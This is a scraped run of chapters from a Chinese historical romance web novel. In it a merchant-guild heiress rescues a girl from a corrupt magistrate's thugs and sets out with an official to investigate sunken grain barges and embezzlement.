“哎呀,这逸国公的人就在旁边盯着,这板子想给你放水都不成。”徐锦叹了一声,“谁能想到刚好就是乔怀潇救的逸国公,还好没被他们看出别的端倪,你放心,既然你一力承担了诬告的事情,等你去了关外,你这一家老小我都会替你照看好的。” 这一身伤能不能捱过去还两说,还要被流放去关外,只怕命都保不住,梁康干了这么多年的官吏,哪能不知道这一点,顿时嚎得更加大声了。 徐锦被他闹得脑壳痛,这时门被人“啪啪”的拍响了。 “县令老爷,逸国公出城了!” “还真和他差人来说的一样。”徐锦立马打开门,看着报信的士兵,又问了一句,“你确定没看错?” “那就是逸国公的车夫,里面确确实实是逸国公。” 徐锦转念一想,也是,建江沉船的事情他有什么名头管?他落水是他时运不济,反正不是被乔怀潇救上来了吗?那乔怀潇他也不可能拴着裤腰带带走,那日公案上帮她一把已经是仁至义尽了。 既然如此,害的他算盘落空,得找个人出口恶气才行,徐锦勾了勾唇角,飞快走到了梁康的床边,“老弟,你安心上路,我这就去找个人陪你。” “动那乔怀潇太过显眼,保不齐谢昱行事后知晓要记恨我,那王老货倒是可以打他一顿。”徐锦阴恻恻的笑了,“不过那天他那女儿倒是出风头,十多岁的姑娘真是嫩啊,梁老弟,我这儿就去把她抓来,保管你路上不孤单。” 徐锦转了转眼珠,召来府上的小厮。 …… 不知道过了多久,阿朵抬头看着面前的客栈,跺了跺脚,怎么还不出来,距离茶铺的伙计把茶叶送进去,已经有一会儿了。 不过她转念一想,这么大的单子,等会就等会吧,阿朵叹了口气,在台阶上坐下。 客栈里的小二推开后门,朝她喊道:“小姑娘,日头正大,你要不进来坐坐,你家伙计正在对账,还要一会儿呢。” 阿朵想了想也是,没有必要在这干等,于是跟着小二朝里面走去。 这个客栈在吴城是数一数二的,今天还是第一次和他们做生意,阿朵忍不住多看了两眼,再回过神来,发现小二带着她朝后院走去。 “我们不在大堂等吗?” 小二没有答话,阿朵抓了抓自己的衣角,小二突然在这时回过身来抓住她的手。 阿朵被吓了一跳,立刻朝旁边躲去,她这才发现回头路被两个大汉挡住。 “跑什么,昨天不是挺能耐的嘛。”刚刚还十分和善的小二换了副面孔,朝她袭来。 阿朵脸色一白。 …… 乔怀潇回到雁回茶铺的时候,王掌柜正在桌子上算账,看到她来,赶紧问道:“小帮主,你的伤……” 乔怀潇环顾了一圈四周,打断了他的话,“今天没人来?” 王掌柜以为她在说生意的事情,摇头道:“没呢,让小帮主见笑了。” “我的意思是没人来找你的麻烦吗?” 王掌柜顿了顿,“没有啊,谁会来找我的麻烦,小帮主是说徐县令?虽然梁师爷受了罚,但他也不至于来找我们麻烦吧,再说了,逸国公不是在这儿吗。” 王掌柜本来还在不急不缓的说着,但却见到乔怀潇脸上有着不同寻常的着急,他察觉到几分不对,突然叫道:“今天阿朵出去送货了!” 乔怀潇的心猛地一颤,连忙追问道:“阿朵去哪送货了?” “来客客栈,就是东边那个最大的客栈。”王掌柜也慌了,猛拍自己的大腿,“我说今天他们怎么突然来找我买茶叶,还特别着急要,我这才让阿朵去仓库取货给他们。” 乔怀潇立刻转身朝外面走去,“把伙计都叫上,我们一起去找人!” 住在这条街上的人,第一次注意到这家沉寂的茶铺,只见领头的女子带着身后的伙计,气势汹汹的朝外面走去。 乔怀潇的心跳得特别的快,一个十八岁的姑娘,既鲜活又脆弱,她不想看见阿朵出现任何的意外。 “就是前面,就要到了!”王掌柜指着前面喊道。 乔怀潇跑了过去,下一秒在看到阿朵时,她的心被高高揪起。 客栈二楼建成了亭子的样式,四面通风,所有人抬头一看就能看清里面的情形——一个小姑娘正被一群大汉步步紧逼。 “救命啊!”阿朵拼命朝外大喊,但一个大汉上前捂住了她的嘴,朝下面围观的人笑道:“我小媳妇和我闹着玩呢。” 阿朵使劲摇头,但那人力气太大,她怎么都挣脱不开,她心底忍不住的发慌绝望起来。 “啊!”一声尖叫突然在阿朵耳边炸开,原本捂着她的手骤然松开,她惊奇的看见那大汉的胳膊被一根筷子插了个对穿。 “阿朵!”熟悉的声音传来。 阿朵扭头看去,和楼下的乔怀潇对上了视线。 “妈的。”大汉啐了一声,捂着自己滴血的胳膊,朝身边人喊道,“还不把这小丫头片子拿下。” 但下一秒,阿朵已经跑到二楼栏杆处,她毫不犹豫的跳了下去。 “啊!”围观的人吓的不轻,朝边上退了一步,而阿朵被街边小贩的棚子挡了一下,滚落在地上。 王掌柜扑了过去,“闺女!” “爹,我没事。”阿朵眼里泛着泪花,曲起一只腿,吸了口气强撑着道,“这不高,最多就是摔瘸了腿,我没事。” 乔怀潇想起阿朵见她的第一眼,那样怯生生的青涩模样,她又想起那天在府衙里,她那样大声的说话。乔怀潇的心底升起一团火,越烧越旺。 那群人围在栏杆上朝下看去,领头的那个对上了人群中一个女人黑沉沉的目光,他莫名打了个冷颤,“撤。” 他们迅速 7. 进洞 《死对头说要报恩》全本免费阅读 徐锦见到门外的人,吓了一跳,他急急忙忙站起来,“逸国公大驾光临,有失远迎。” 乔怀潇也跟在徐锦后面朝他行礼。 但谢昱行还没说话,乔怀潇便笑着对徐锦道:“二位有要事相商,我就先走了。” 乔怀潇的笑完美、一丝不苟的挂在脸上,转身出了房门,那抹温和到甚至放低了姿态的笑却瞬间荡然无存。 “你的腿伤还没好,我送你回去。”谢昱行追了上来。 乔怀潇抬头看了一眼,大朵大朵的乌云遮住了太阳,她默许了谢昱的提议。 两人并肩走着,谢昱行指着不远处的一颗树说道:“那是古樟吧,枝繁叶茂的,少说也有数十年了。” 他们从园中的小径穿过,左侧的竹林在风过时发出轻响,谢昱行又指着一簇开的正艳的花丛叹道:“花团锦簇,好不热闹。” 乔怀潇听出他话里有话,视线移到他的身上。 谢昱行却先行一步,转而走到假山洞口处停下脚步,“不如进去瞧瞧?我看这儿别有洞天。” 乔怀潇当然不会认为谢昱行来徐锦府上是逛园子的,只是面前的假山约有半丈高,除了进去必须要猫着腰,也没什么特别的。 要说特别,只能说特别的小。乔怀潇从洞口进去后就有些后悔,他们两人挨的很近,四周黑漆漆的,乔怀潇忍不住嘟囔一声,“我看也没什么……” 她刚张开嘴,一只手就捂过来。 谢昱行的动作很轻,他的手只是虚虚挡在了她的嘴巴前面,但乔怀潇反应很大的退开一步,不过她忘了这是在假山狭窄的内部,她一下就磕到了头。 “啊。”她叫了一声,洞里的回音则不断回响。 乔怀潇这才明白刚刚谢昱行为什么捂她的嘴,这假山洞中实在不是说话的好地方,还好边上很黑,而且谢昱行落后她半步,一定看不清她通红的脸。 乔怀潇抿了抿唇,打算快速转身离开这个鬼地方。 此时谢昱行突然指着洞口的尽头道:“你看。” 乔怀潇感到肩膀若有若无的被人扶了一下,她不得不猫着腰从假山狭小的另一个洞口出来,还不等她反应,入目是流水汇入大片的荷花池,回廊连接着楼阁,碧水苍穹,气派非常。 谢昱行走到乔怀潇身边,语气平静,“就是京师里,假山流水亭台楼阁,这样奢靡的造景也少有。” 一个县令,七品小官,他的府上何来如此奢靡,而他的打手光天化日便敢强掠民女,何故如此嚣张? 这答案显而易见。 因为他有恃无恐,因为他能随意定罪,肆意污蔑,视国家法纪不存,纲常不在,就算诬告不成,那也能说成是手下人的错处,一点脏水都泼不到他身上。 乔怀潇神色紧绷,她早该想到的,梁康的嚣张是徐锦的刻意纵容,而惯于卸磨杀驴的徐锦,怎么会放过报复自己的机会。 太阳底下没有新鲜事,经年不见,小人的手段还是如出一辙,乔怀潇松开拳头,指尖在虎口处留下月牙形的痕迹,她突然转头看向谢昱行,“你今天为什么要来徐锦府上?” 谢昱行没想到她会问自己这个问题,他错开视线,“定南那边急催我到任,我便派人先行一步去安抚他们,没想到徐锦以为我离开了吴城,就想着报复你身边的人,今天如果我早点赶到……” “这和你没关系。” 荷花池里养着很多锦鲤,赤红的尾巴一摆一摆的,乔怀潇生出有一股冲动,她想捡起地上的石头砸进水里,把这水搅浑,把鱼儿吓得四处逃窜。 但这样泄愤的举动没有任何意义。 乔怀潇觉得自己比起从前,真是很会控制自己的情绪了,于是她笑了笑,“还没有恭喜你升官了,三品大员,前途无量。” 谢昱行的脸色有一瞬间的失控,但他又听见乔怀潇说:“你说,要怎样才能扳倒一个贪官?” 风呼呼的吹过,将两人的衣角搅到一起。 “证据。”谢昱行缓缓开口,“要有确凿的证据。” “徐锦为什么要费力给你编织劫漕粮这样一个大罪?只可能因为他们有更重要的想要掩盖的真相。” 每说一句,谢昱行都能感觉到乔怀潇的眼睛更亮一分,他对着那样明亮无尘的眼眸,好似见到了池塘里在等着食物的鲤鱼儿,对于鱼儿而言,是食物也是饵料,对于岸上的人而言,这则是下鱼钩的好时机。 谢昱行道:“听说这一段建江已经沉了了不少漕船了。” 乔怀潇迫不及待的追问,“你是说沉船的事情有猫腻?” 谢昱行点头,“我查到在建江沉落的漕船,都是从定南出发的,此事背后或许有人在推波助澜。” “徐锦作为吴城县令,对这一段的建江负有职责,这其中一定有他的手笔。”乔怀潇想通了关窍,猛一拍掌,“真相就在定南!” “明日我就要出发去定南了,阿滢,和我一起去定南吧,去了结这一桩案子。”谢昱行的声音散在风里,轻柔无比,带着很强的迷惑性。 听到他如此顺口的说出自己的表字,乔怀潇的睫毛颤了颤,她垂下眼睛,半晌后,点了点头。 “扑腾”一声,是鲤鱼儿跃出水面,又再次落入水中发出的声响。 鱼儿咬钩了,谢昱行的心底开始朝上冒出丝丝缕缕的小气泡,他拢起手指,事情再次回到了掌控。 “要下雨了,我送你回去吧。”谢昱行说道。 乔怀潇没有再拒绝。 回到那所宅子的时候,正门大开着迎接他们,早上出门的时候,乔怀潇还想从这儿搬出去,但此时,她已经答应了要和他一起去定南了,也就没有这个必要了。 在分开的时候,谢昱行问了一句:“你今天和徐锦说了什么?” “明天你就知道了。”乔怀潇朝后摆摆手,从谢昱行的视线里离开。 阿朵也在这里养伤,乔怀潇走到她的住处时,正好碰上了走出来的吴郎中。 “乔姑娘放心,王姑娘虽然现在只 8. 阴狠 《死对头说要报恩》全本免费阅读 吴城门口,士兵们分开站在城口的两侧,因着阴沉沉的天气,今日进出城门的人明显少了许多,但就算这样,刘会也不敢开小差,毕竟徐县令就站在城门外。 还有人能让徐县令亲自在这儿等?刘会心里纳闷,突然一阵喧闹声响起,他伸着脖子朝前头望去,却见一队人马列队而来,被护在中间的是一辆极其宽敞的马车。 马车在城门口停下,一只手掀开车帘,一男一女相继从马车里走下来。 “逸国公到。”侍从的高呼惊醒了刘会,他急急忙忙的和身边人一起跪下行礼。 这是逸国公,那昨天的是谁?刘会头上不停的冒出冷汗,昨天我岂不是和徐县令报错了消息,他的心里咯噔一下,偷偷抬眼去看徐县令。 他飞快的瞄了一眼,又松了口气,低下头去。 只见徐锦一身青色鹭鸶官服,头顶官帽,脸上毫无阴霾,甚至可以用喜上眉梢来形容,他走到谢昱行面前,拱了拱手,“逸国公此去赴任,下官特来相送,祝大人一路顺风官运亨通。” “徐县令有心了。”谢昱行注意到了徐锦身边的男人,眉头不由得紧皱,“这是?” “哦,逸国公还有所不知,乔姑娘送了咱们吴城一艘大船呐,这汪成连就在吴城替乔姑娘办这件事。”徐锦笑眯眯道。 “原来如此。”看来昨天乔怀潇去徐府谈的就是这件事,他的视线低了低,看向汪成连,“不过我倒是不知你能为乔姑娘办什么事?” 汪成连吞了吞口水,刚要开口,就听见乔怀潇替他说道:“徐大人心善,准许这艘船在运送漕粮的时候携带我雁帮的货物二成,自由在沿途售卖,汪成连走南闯北,这差事他来正合适。” “汪某愿将功补过,为乔姑娘,更为咱们吴城效犬马之劳。”汪成连言辞切切。 这一通马屁也拍到了徐锦身上,他大笑道:“哎呀,乔姑娘,你这人选的好啊,合我心意,合我心意。” “所以说嘛,先前的那些误会都是不打不相识,乔姑娘安心去吧,你那雁回茶铺本官也自会照顾一二。” “如此,多谢。”乔怀潇微微颔首,和谢昱行上了同一辆马车。 “恭送逸国公。”徐锦带着大小官吏拱手相送。 车轮滚滚向前,在后方扬起大片灰尘,徐锦挥开袖子直起身,呸的一声把吹到嘴上的灰尘给吐开。 “傍上了逸国公又怎样,一介商贾,还不是得乖乖的把东西奉上来讨好我。”徐锦扯出一个笑,回身走入城中。 汪成连默默跟在他的身后。 昨日的雨并没有落下,连带着今日的天上都是大片的乌云。 谢昱行的马车很大,坐三个人都不显得挤,没错,陈所得也挤上了这辆马车。 但是他很郁闷,不过就躺了两天,就感觉错过了很多事情,徐锦怎么对他们这么和颜悦色?汪成连又凭什么敢出现在他们面前,还有,为什么要去定南?这些问题都没有答案,他只能干看着乔怀潇和谢昱行聊着他听不懂的天。 “你故意送他一艘船,是为了降低他的警惕。” 乔怀潇道:“既是示敌以弱,也是请君入瓮。” “那为什么要用汪成连,我记得他偷过你的东西。”谢昱行对此并不赞同,但他知道乔怀潇在想什么。 果然,她缓缓笑道:“徐锦阴狠,汪成连也不遑多让,他们两个若是斗起来,你觉得谁会更胜一筹?” “阿滢用的人,自然不会差。”谢昱行看着乔怀潇,“阿滢”二字说得格外顺口。 乔怀潇顿了顿,陈所得捕捉到了这一点,立刻像找到了破绽的大公鸡,抖着大羽毛就冲上去了,殷勤的凑到乔怀潇身边,“小帮主,这有阿朵送来路上吃的枣泥糕,听说是吴城的特产呢,你早饭不是没吃什么嘛,尝尝这个怎么样。” 乔怀潇点点头,刚要伸手,谢昱行就开口道:“没吃早饭?” 没等她回答,谢昱行就朝外吩咐道,“书礼,弄点吃食来。” 马车上的小桌被平铺打开,桂花糖蒸栗粉糕、香薷饮、玫瑰酥、七巧点心,还有翡翠芹香虾饺皇,各类甜口咸口的点心和饮品,满满当当的摆满了一桌。 陈所得瞪大了眼睛,怀疑谢昱行有点问题,这是他说的“弄点……吃食来”? 乔怀潇抿了抿唇,“这也太多了,我吃不下。” 书礼把碟子摆放整齐,看了眼陈所得说道:“这位小哥也可以尝尝。” 陈所得干笑着摆了摆手,他怀疑的名单上又多了一人,谢昱行的小厮看上去也不正常。 最后,乔怀潇只拣了两块点心进肚,当然,在陈所得的强烈建议下,她也吃了两块枣泥糕。 他们走的是官道,马车坐起来也并不颠簸,时间过得很快,以至于等到车夫停下马车,乔怀潇掀开帘子,才知道已经到了傍晚,天色都暗了下来。 “在这客栈休息一晚,明日再出发。”谢昱行对她们解释道。 乔怀潇点了点头。 他们住的不是官驿,是个两层楼的客栈,不大不小的规模,乔怀潇被安排住在二楼,陈所得住在一楼。 吴城县早已远离,自是不必说了,听掌柜的口音,他们已经到了建州府外围了,明日就能进入定南府的地界。 陈所得百无聊赖的在客栈里转了两圈,打算拿着水囊进后厨去灌点水,谁知刚要进去,就听见了里面的谈话声。 “大人真是料事如神,本来说三日内就从吴城出发,结果两天就收拾好了首尾,我们现下都要出建州了。” “乔姑娘昨日就答应了和大人一同前去定南,要不是夜间不好赶路,说不定昨晚我们就出发了。” 陈所得听出后一句是书礼的声音,他顿了顿,放轻呼吸藏进墙角。 “难不成主公还怕乔姑娘跑了,诶?阿书你从小就跟着主公,这乔姑娘是不是和主公有旧啊,否则就算她救了主公,主公也未必这样看重。” “早在京时,乔姑娘就和主公相识了,二人还是同窗呢。” 书礼还未说完,身旁人就惊讶道:“这么说,乔姑娘还是个官家小姐啦,那怎么不在京师待着,还和……” “好了,那都是些过去的 9. 金算盘 《死对头说要报恩》全本免费阅读 定南府在大庆的最南部,水陆两通,在它府下的椒州沿海,而他们要去的慕安城有着建江沿途最大的码头,十分富庶,是定南的府城所在。 乔怀潇一行人赶入城中时,太阳刚刚落下山,天空上并不明亮的蓝色显得十分静谧。 乔怀潇正掀开帘子朝外望去,与此同时,车队停了下来。 侍从前来传话,“乔姑娘,慕安城今日是夏至节,街道都被拦了,马车过不去,我们要下马车走过去了。” 乔怀潇这才低头一瞧,街道里商铺鳞次栉比,都挂着各色彩灯,小商小贩的招呼声不断,风里都是热闹的气息。 她下了马车,陈所得走了过来。 书礼安排好人原地守着马车,等到人群散开再行动,转而看见了谢昱行对乔怀潇说道:“走走?” 乔怀潇点头,和谢昱行并肩走着,书礼刚要带着侍从跟上,谢昱行就朝他摆摆手,“让他们不用跟着。” 于是只有他们四个走进人群。 “夏至节?在长平都没有过过这个节日。”陈所得嘀咕道。 “不过我倒是听说过长平的火把节,烹烤牛羊,载歌载舞,很是热闹。陈小兄弟,是也不是?”书礼言道。 “那是,你们要是有机会来长平就知道了。”陈所得只有这一句回奉,说完还偷偷朝乔怀潇挤眉弄眼,十分得意自己没有被书礼套话。 乔怀潇随他胡闹,在一个卖小玩意的铺子停下了脚步。 “这个怎么样?”乔怀潇拿起一个金坠子,掂了掂大概不是纯金,只是表面镀了一层金,但是胜在样子小巧可爱,是个小算盘,算盘上的算珠还能移动。 “样子有趣,可以挂在荷包上。”谢昱行看了书礼一眼,书礼立马向铺主问道:“这个多少?” 铺主竖起一根手指,“一两银子。” 乔怀潇刚要阻止他,书礼已经快陈所得一步,把银子递了过去。 铺主笑眯眯的接过银子,朝他们拱手,“多谢,祝姑娘和公子……” 乔怀潇不用想也知道铺主会对一对年轻男女说什么吉祥话,她一把扯过在低头看金算盘的陈所得,“走了。” 走了两步,陈所得把金算盘还给乔怀潇,评价道:“这个算盘就是外头镀了层金粉,顶天了就值几十个铜板,我们在定南也有珠宝铺子,随便挑一个都比这个好,刚刚那铺主肯定要笑话我们人傻钱多了。” 乔怀潇哪能不知道,这时谢昱行和书礼赶了上来,乔怀潇知道他误会了,便说道:“阿朵的生日就在夏至,我挑这个小算盘,是打算给她做生辰礼。” 但现在这个成了谢昱行掏钱送她的,她又怎么好再转送给阿朵。 金算盘上挂了根红绳,此时红绳攥在乔怀潇手里,小算盘垂在半空打转,谢昱行盯着它看,说:“朋友之礼转赠她人,是辜负了朋友的心意,也是对她人的不尊重,但你我二人之间无拘此小节,今日倒是我唐突了,你送给谁都可以。” 朋友赠送的礼物不该转送她人,但你我二人比朋友还要亲近,你送我也不介意。 乔怀潇觉得谢昱行的话很奇怪。 是了,什么朋友不朋友的,她可没忘他做过的事情! 乔怀潇想把小算盘还给谢昱行,但他低着头不和自己对视,纤长的脖颈微落,这一瞬间,乔怀潇竟然觉得自己有点不识好歹。 算了算了,一个小玩意而已,她摆了摆手,“那我就收下了,多谢你的好意,这一路上也多亏你们的照顾,你在定南置办了宅子吗,明日我差人送些礼过去才是,今天我们就在这儿分别吧。” 辉煌的灯火在谢昱行眼中倒映着,但这愈发显得他瞳孔底色的深沉,微风拂过,仿佛一声叹息。 什么情况下别人对你好一分,你会立刻想用金钱回报对方——显然是你视这份好为压力,并且不想再与他有交集。 乔怀潇对自己算的这么清楚,对吴郎中也是这样,这样的钱货两讫,这样摆明的一道楚河汉界。 这不是他想要的,谢昱行眼中闪过一丝晦暗,而后抬头,又是一副清风朗月,他缓缓说道:“你们去哪?城中人杂,我们送一送你们。” 乔怀潇刚要开口,在他们身后的黑夜中,一朵极其绚烂的烟花绽开了,巨大的光亮在一瞬间照亮了他们的脸庞。 “好漂亮的烟花。”陈所得惊呼。 “父老乡亲看过来,今日爆竹声响,狼人喷火,走过路过千万不要错过。”随着招揽声的是一阵阵的锣鼓声。 街道被围观的百姓围住了,乔怀潇也只能驻足观看。 一阵噼里啪啦的爆竹响起,空气中开始弥漫着硝石味,在爆竹后的烟雾里走出一个红斗篷的男人,他的脸上带着一顶青面獠牙的面具,他张开血盆大口,一股火焰就从口中喷了出来。 “好!”四周响起叫好声。 趁着氛围热烈,敲锣的人立马高声喊道,“狼人喷火精不精彩?!” “精彩!” “那要不要再来一次?”敲锣人说的时候,狼人扬起斗篷,再落下,已经换一张龇牙咧嘴的鬼面,围观的百姓被点燃了激情,立刻喊道:“要!再喷一次!” 敲锣人笑了笑,拿出一个空盒走到人群旁,“那就有钱的捧个钱场,没钱的捧个人场。” 掏钱的人倒是不少,敲锣人一路道谢,等到敲锣人捧着盒子走到乔怀潇身边时,他们几个都从荷包里掏出碎银子放了进去。 陈所得本来掏出来五个铜板,转念一想,又放了两粒碎银进去。 铜板和银子在盒子里相撞发出声响,敲锣人满脸喜色,后头的狼人又是翻了一个跟头又喷火。 四周再次响起叫好声。 陈所得也不纠结刚刚买贵了金算盘的事了,“我想明白了,我们多花钱,他们就多挣钱,他们多挣钱,那也会花的多,我们不就有钱赚了吗?” 乔怀潇点头,还没说话,一团黑影迅速横冲直撞了过来。 看戏法的人很多,不由得对那团黑影骂道:“小兔崽子,挤什么挤。” 那小孩的头发很长很乱,个子都不到旁边人的大腿,被左右的人一挤,瞬间就跌倒在地。 他想起身,奈何他的背部朝下,双手撑着地,一时间用不上 10. 惩罚 《死对头说要报恩》全本免费阅读 沾了水的帕子被乔怀潇拿在手里,她仔细的将手上溅落的马血擦去。 陈所得推开门,只见室内黑沉沉的,“小帮主,谢大人那点伤,有吴郎中在,不会有事的。” 他将烛火点亮,屋内被昏黄的烛光笼罩,许久不住人的屋子也有了分人气。 “我不是在担心他的伤。”乔怀潇固执的说道。 陈所得倒是十分安心的退了下去,“那你早点休息吧,别说,咱们雁帮在慕安的宅子还真不错。” 房门被合上,乔怀潇坐在窗边,一遍又一遍的擦着手,最终,她还是没有压下心中反反复复的烦躁,一把将帕子扔在了梳妆桌上。 我这是在干什么?我为什么要杀那匹马? 事实上,乔怀潇很确定自己怨恨着谢昱行。 在徐府时,她祝谢昱行官道高升,谢昱行惨白了脸,那一刻,乔怀潇心底生出了隐秘的快意。在游人如织的慕安,她提出要用金钱回报这一路来他的照顾,看见了谢昱行隐藏在笑意后的失落,她也暗暗得意。 这是谢昱行应得的不是吗?谁让他夺走了属于自己的功名,谁让他要在自己最信任他的时候伤害自己。 乔怀潇想,背信弃义者被玩弄真心,这是惩罚。 但是,乔怀潇又会想起这段时日谢昱行的妥帖照顾。他会在徐锦面前力保自己,他会因为担心自己被携私报复而赶去徐府,他记得自己喜欢吃的糕点。 今晚,他甚至能为自己当街受下一记鞭子……这样的谢昱行,怎么看也不像是会做出夺走她功名的事情。 当年的事情,难道是我误会了他? 乔怀潇合衣躺上了床,双手交叠放在被子上,却脑中思绪纷纷始终未能入睡。 月上梢头,连鸟儿都不再鸣叫,只有窗外传来的打更声。 一片寂静中,乔怀潇抬起自己的手掌看着,这双手骨节突出,是经过了三年磨砺的模样,与从前那只握笔杆的柔软的手截然不同。 乔怀潇想过很多次如果自己中了科举,成了大庆第一个入朝为官的女子会怎样,但这是她第一次想,这种改变或许也不失为一种坏事。至少,她有了另一种保护他人的力量。 乔怀潇又想,谢昱行那身子骨,也不知道这一鞭子他得养多久,得找个时间去看看他,就这样想着想着,不知何时,乔怀潇沉沉的睡去了 久违的,她竟然梦到了静安。 静安站在河畔,见到乔怀潇的第一句话就是:“我给你传信说我一切无恙,你就真的什么都不管我了?” 乔怀潇目光下移,看见了她高高隆起的肚子,乔怀潇有些手足无措,她想走近一些,但静安伸手指着她,“你看看自己现在都在干什么,当初那个嫉恶如仇的乔怀潇去哪里了?你是好了伤疤忘了疼吗?你真该照照镜子……” 乔怀潇下意识就想摇头否认,但她转头看向河面,河面上竟然找不到自己的影子。 乔怀潇蓦地惊醒,她睁开眼睛,头顶是一片缠枝花纹的床幔。 是了,她如今在慕安而非长平。 乔怀潇想不通这个梦的由来,自己高价买静安的天价金珠,怎么她反倒还来梦里骂自己? 她缓了缓神,走到书桌旁坐下开始写信,乔怀潇将三封写好的信笺折好,随后换了身衣服收拾好走了出去。 陈所得正安排着下人打扫庭院,看见乔怀潇朝外走去,追上去问了一句:“小帮主,你去哪儿?” “我去驿站一趟。”乔怀潇看了眼陈所得,“你有事?” 陈所得说道:“不是我有事,早上书礼来了一趟,说谢大人请你过府一叙,和你谈谈怎么处理那布政使家小儿子冯实宗当街纵马的事情。” “自然是依律办理。”乔怀潇说完又顿了顿,“不过此事关于布政使,他也别的考量,这样,你去回个话,晚些我从驿站回来就去找他。” 陈所得点头应下,心底却忍不住想这谢昱行真是有手段,明明小帮主先前还说他是个自私的小人,现在的态度却明显有了微妙的转变,还好那日给大帮主传了雁书。 说到雁书,陈所得有些迟疑,他该和小帮主说一说那天他传了雁书的事情,但刚做好坦白的准备,乔怀潇已经走出了门,朝归宁驿站而去了。 其实对于慕安城,乔怀潇并不陌生,这是雁帮在大庆南方势力最盛的地方。雁帮在慕安有专门的驿站,可以把长平的货物运来,也会捎带南方的人和物送往长平方向。 驿站的主事是个瘦高个,他刚吩咐小厮把马槽里的材料添上,眼前就出现了一块象征着帮主的紫藤花令牌,他颤了颤正对上来人,眼中瞬间迸发出喜色,“小帮主,什么风把您吹来了,这不是还没到年关吗,账本虽然还没清,不过您放心,自从上次您来过之后,他们一个个老实的很,这段时间没人坏账。” 乔怀潇并不多话,把怀里的三封信笺分别递给他,“照着上面的地址,这两封分别送去吴城给汪成连和阿朵,这一封送去长平。” 管事的进了城,照例都要通告城里的大小商铺主事,更别说是拿着紫藤花令的二把手了,今天一早陈所得就到雁帮各个商铺里通了气,胡老二自然知道这两封吴城的信的去处,不过这送长平的信也不难猜,胡老二笑道:“这是给大帮主的吧,放心,我一定让人快马加鞭的送去。” 乔怀潇顿了顿,“不是给他的,你照着地址送就是。”前两封信是为了和汪成连和阿朵保持联系,而最后一封,乔怀潇是让人去打听静安的消息。 胡老二猜错了连忙赔罪,忙不迭的招呼人进来把信收好,再三嘱咐:“收进铁匣里,让明日的商队带上,必须完好无缺的送到。” 他话音刚落,就有小厮急急忙忙地跑进来,“胡哥,那五辆板车送回来了,但是有三辆的车辕都被摔断了。” 胡老二赶紧追出去看,果然看见倒在地上的板车断了车辕,他朝着那些家丁离开的方向直骂道:“贪官坐下狗,吃喝嫖赌倒是舍得,花个十铜板租板车,还把板车糟蹋的不成样子!真是天杀的泼皮!” 乔怀潇走到板车旁,抠出陷进车缝里的谷粒,谷粒眼色暗沉,显然不是新粮,她若有所思:“这个时节,他们上哪去搬陈粮?” 乔怀潇猛地回神,她的眼神在一瞬间变得冰冷,抬脚就要跟上那些远去的家丁,胡老二急忙拉住她,“小帮主,就是几辆板车,不值得您追上去啊,那可是布政使府上的家丁,庙大妖风狂,水可深着呢。” “我找的就是他们。”乔怀潇看着胡老二,“在吴城的时候,我们雁帮就已经被盯上了。” 乔怀潇的眼神分外坚定,胡老二一时怔在原地,再 11. 硕鼠 《死对头说要报恩》全本免费阅读 粮仓的大门被家丁们推开,领头的手里提着烛台走了进来。 昏黄的光晕打在墙上,也照亮了眼前的一部分谷堆,金灿灿的犹如黄金,分外刺眼。 走在后头的一个家丁猛地追上去,把烛台给吹灭了,“粮仓里不能带火,要是烧起来怎么办?赶紧看看,没什么异常就走了。” “知道了知道了,反正今天管事的又不在。”领头的家丁嘟囔了一句,突然想到一件事,“对了,那佃户还在吗?让他来把这谷堆扒拉好,别散在地上受潮了。” 他这样说,其他人倒是都没有异议,立刻就去叫人来替他们干活了。 乔怀潇躲在木桶后面,听见粮仓的门又被打开了,粮仓里又多了一个人的脚步声。六个壮年男子,乔怀潇按住袖中的匕首,抿紧了唇。 脚步声越来越近,扫帚在地上摩擦发出“沙沙”声,就在那人拐到了木桶后的一霎那,乔怀潇保持着蹲着的姿势,伺机亮出匕首横刀挥去。 在乔怀潇的打算里,这一刀应该划在那人的腿上,让他回过神来想追自己都做不到,但就在她的刀尖触到那人的衣角时,那人的手肘斜着向上袭来,击中了乔怀潇握着匕首的腕骨。 乔怀潇手劲一松,“啪嗒。”匕首掉落在地上,在寂静的粮仓中显得格外引人注目。 “什么东西掉地上了,你在干什么呢?”家丁朝这边喊道。 乔怀潇还是蹲在木桶后面,站在她面前的男人逆着光,看不清脸,乔怀潇听见他说:“我踩到谷子差点滑倒,把铁锹给撞倒了。” 只有月光照进来的仓房里,家丁投来的视线没有捕捉到什么异常,于是哄堂大笑起来,“夯货,这么点事都干不好,动作快点,我们可不等你。” 那人弯下腰,捡起地上乔怀潇掉下的匕首藏进怀里,随后仿若无事般转身离开。 …… 阿粟汲着一双草鞋在集市上晃荡,他在一个早点铺子前停下了脚步。 包子铺的摊主掀开蒸笼,白色的蒸汽迅速散开,蒸屉上有五个白白胖胖的大包子,可以想象咬开外皮里面的肉馅会有多么诱人,阿粟忍不住吞了吞口水。 他个子小,皮肤黝黑,一副可怜样子,摊主瞧他一眼,夹起一个包子,正想扔给他,旁边的食客就道:“上次来偷馒头,还敢来这要包子,摊主你就是心太善,这样的崽种有什么好可怜的?” 阿粟眼瞧着摊主夹起的包子又落回了蒸屉里,他听着食客的话,一溜烟跑走了。 他摸了摸自己扁的凹了下去的肚子,低着头无精打采的走着,但没走两步,头上就感到碰到了什么软软的东西。阿粟跌倒在地,朝上仰视着,见到一个圆滚滚的肚子,再往上看,是一张怒目圆睁的脸,打着赤膊的壮汉骂道:“哪来的野钟走路不看,把你眼珠子挖了。” 阿粟哆嗦了一下,就在那群人路过他的时候,他注意到了他们身后跟着的女人。此时的阿粟已经饿得有些视线模糊了,他看着乔怀潇的模样,只觉得好像是天上的仙女下凡,忍不住朝她伸出手,“仙女姐姐,拉我一把。” 这次仙女却径直路过了他,阿粟很是失望的垂下了头。他坐在地上,甚至就想这么就地躺着,但是他觉得自己得回家,回家是件很重要的事情。 阿粟攒了点力气,双手趴在地上撑着自己站起来,摇摇晃晃的朝家的方向走去。 他的家是城郊的一间草房,漏雨,他刚挨着墙角坐下,天上就飘起了蒙蒙细雨,雨丝斜斜的飘在他的脸上,他伸出舌头舔了舔,是甜的。于是他蹲到门口,双手捧着让雨都落在他的手里,但雨总是从他的手指间的缝隙里流下,他太瘦了。 不知道过了多久,天已经黑了,风里没有下雨之后泥土的腥味,反而不断传来食物的香气,阿粟使劲嗅了嗅,掰着手指头道:“是大肉包,烧鹅,烤鸡,还有大猪蹄子……”他觉得是附近人家烟囱里传来的烧饭的香味。 他站起来,想去找正在做饭的人家讨一些吃的,剩饭也没关系,馊了也能吃,但是他还是没有踏出这一步。 